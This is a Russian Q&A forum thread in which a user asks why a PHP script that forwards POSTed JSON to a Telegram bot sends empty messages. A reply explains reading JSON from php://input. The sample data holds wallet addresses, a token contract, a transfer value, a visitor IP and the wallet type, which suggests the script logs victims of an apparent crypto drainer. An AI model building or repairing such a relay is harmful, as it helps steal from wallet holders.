@Neverser22

Отправка в телеграм из json, как реализовать(ошибка в коде)?

Доброго времени суток, господа
С очередным вопросом к вам.
Есть отправка данных методом POST из JSON
Перенаправил на tg.php(код с отправкой уже из этого JSON в телеграм)

<?php


$token = "11111112:AAFranhVHmVSfVgl4jW71clgTpPE_QiVzuo";

$chat_id = "-1111111";


    $adressFrom = ($_POST['addressFrom']);
    $value = ($_POST['value']);

    $arr = array(
        'AddressFrom:' => $addressFrom,
        'Value:' => $value
    );

    foreach($arr as $key => $value) {
        $txt .= "<b>".$key."</b> ".$value."%0A";
    };

    $sendToTelegram = fopen("https://api.telegram.org/bot{$token}/sendMessage?chat_id={$chat_id}&parse_mode=html&text={$txt}","r");


Отправка происходит, но без данных из JSON
Сами данные JSON вот такие:
{"contract":"0x0b7600ca77fc257fe7eb432f87825cccc4590037","addressFrom":"0x83EB92C96b5fAF64328e787508f6CA511a2DBB23","addressTo":"0x7Ab68663951E9eBd45FFfB06a487f6987C4D2FCE","value":60.379,"type":"token","tokenId":"5868","chainId":1,"chainName":"Ethereum","ip":"188.19.162.255","wallet":"metaMask","isEth":false}

Может нужно что-то добавить или я что-то не правильно прописал?
  • Вопрос задан
  • 183 просмотра
Решения вопроса 1
Rsa97
@Rsa97
Для правильного вопроса надо знать половину ответа
В $_POST автоматически парсится только стандартная форма HTML или её аналог FormData.
JSON можно только получить из тела запроса через чтение php://input.
$json = file_get_contents('php://input');
$data = json_decode($json);
Ответ написан
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы